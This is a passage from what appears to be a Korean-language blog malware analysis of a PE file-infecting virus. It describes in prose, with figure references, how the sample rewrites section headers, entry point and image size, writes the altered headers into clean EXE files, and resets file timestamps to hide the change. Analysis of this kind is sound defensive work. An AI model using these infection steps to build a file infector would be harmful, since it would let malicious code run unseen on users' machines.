각각 Number of section을 우선 8로 세팅합니다 기존 4에서 4만큼 늘어나 섹션이 총 8개로 된것을 짐작할 수 있습니다.

그리고 Adress of Entry Point를 AE39, Size of Image를 14000, Import Table의 RVA 값을 F4D4, Size를 3C로 각각 세팅합니다.

 

 

[그림.96]

 

이어서 각각 20, 40, 80과 비교하여 EAX가 가르키는 각 섹션헤더의 RVA값을 EDI,ESI,EDX의 조건에 맞는 레지스터에 덧셈을 합니다.

총 8개의 섹션으로 총 8번 루프를 돌게 되며, 결과는 ESI=7800, EDI=8000, EDX=0으로 세팅되어 PE 정보를 세팅합니다.

PEView에서 각각 세팅 된 값은 Size of Code=8000, Size of Initialized Data=7800, Size of Uninitialized Data=0으로 세팅이 됩니다.

 

 

 

[그림.97]

 

이어서 SetfilePointer함수로 감염대상의 파일의 포인터를 000000F0로 세팅하고 WriteFile함수로 F8h(248)만큼 데이터를 복사합니다.

그리고 다시 WriteFile 함수로 .text 섹션헤더부터 복사를 합니다.

이 과정을 보면 변경된 PE구조의 정보를 정상 파일에 세팅하기 위함으로 추측 할 수 있습니다.

 

[그림.98]

 

마지막으로 SetfileTime함수로 최종 파일 접근 시간을 세팅하고 CloseHandle함수를 호출 하여 종료합니다.

이런식으로 정상적인 EXE파일을 검색하고 감염되지 않은 파일인 경우 자신의 악의 적인 코드를 정상파일에 삽입하게 됩니다.

이때 사용자는 자신도 모르게 정상적인 프로그램을 실행 하게되고 프로그램내에 숨겨뒀던 악의적인 코드가 자동 실행함으로써 공격자의 의도대로 공격이 가능하게 됩니다.

하지만 분석에 사용 된 샘플은 자신의 EXE파일을 찾고 감염되지않은 실행파일에 대해서만 자신의 코드를 붙여넣는 기능외의 특이 기능은 없는것으로 보아 테스트용 으로 사용된것으로 추측되며, 이와 비슷한 변종이 많이 있을거라고 예상됩니다.

 


posted by 미스터리 DKL